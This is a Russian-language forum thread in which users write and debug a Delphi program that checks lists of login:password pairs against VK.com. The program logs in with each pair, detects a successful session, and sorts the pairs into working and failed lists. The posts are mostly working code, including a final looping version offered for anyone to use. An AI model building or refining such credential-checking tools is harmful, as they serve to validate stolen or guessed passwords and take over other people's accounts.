например так: proverka:=idhttp1.get(lallalalal) //авторизация на сайте if pos('выход',proverka)<>0 then memo1.Lines.Add(log+':'+pass) else memo2.Lines.Add(log+':'+pass) //вместо выход можно написать logoff если ты авторизуешься на vk.com ну как то так P.S. писал тут сразу
proverka:=idhttp1.get(lallalalal) try if pos('выход',proverka)<>0 then memo1.Lines.Add(log+':'+pass) .... except memo2.Lines.Add(log+':'+pass) ..... так может
Вот так попробуй: PHP: uns := idhttp1.Get('http://vk.com/profile.php'); if Pos('http://vk.com/profile.php', uns) = 0 then memo3.lines.add(log + ':' + pass) else begin memo2.lines.add(log + ':' + pass); end;
Не много бредовая идея, но работает(то номера мемо проверь) PHP: procedure TForm3.btn1Click(Sender: TObject); var uns, s,log,pass: String; begin idhttp1.HandleRedirects := True; log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1); pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20); uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk='); s:=Copy(uns,Pos('value=',uns)+7,56); try idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s); uns := idhttp1.Get('http://vk.com/'); memo3.lines.add(log + ':' + pass); except On E: Exception do begin memo2.lines.add(log + ':' + pass); memo3.Lines.Delete(memo3.Lines.Count); end; end; idckmngr1.AddCookie('remixsid='+s+ '; path=/; ','vk.com'); idckmngr1.AddCookie('remixchk=5; path=/;','vk.com'); end;
stepashka_, тебе exe'шник кинуть где у меня все работает? Запускай без дебагера. И проверь номера мемо, мб где то не тот номер!
а можно в WebBrowser парсить определённый участок кода, например: с <!-- begin --> ... до <!-- / end --> и выводить в браузер? только сохрание всей страници на хард, потом парсить, потом выводить - не катит.
Да не всё Ок там Подскажите можно как то провереный акк удалять из мемо1? после того как он сохранился в мемо2-3
вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos() PHP: procedure TForm1.Button1Click(Sender: TObject); var uns, s,log,pass: String; begin idhttp1.HandleRedirects := True; while memo1.lines.count-1>=0 do begin log:=copy(memo1.lines[0],1,AnsiPos(':',memo1.lines[0])-1); pass:=copy(memo1.lines[0],AnsiPos(':',memo1.lines[0])+1,length(memo1.lines[0])); uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk='); s:=Copy(uns,Pos('value=',uns)+7,56); try idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s); uns := idhttp1.Get('http://vk.com/'); memo2.lines.add(log + ':' + pass); except *On E: Exception do begin * memo3.lines.add(log + ':' + pass); * memo2.Lines.Delete(memo2.Lines.Count); memo1.Lines.Delete(0); end; end; end. вот и весь код господи)))) проверили, добавили, удалили и се! пользуйтесь
Да легко)) Так же как и с AnsiPos Какая разница какую функцию использовать? В идеале конечно Pos надо юзать когда нужно найти позицию одной строки в другой, но можно использовать и для нахождения определенного символа. Это никак не повлияет на результат)))
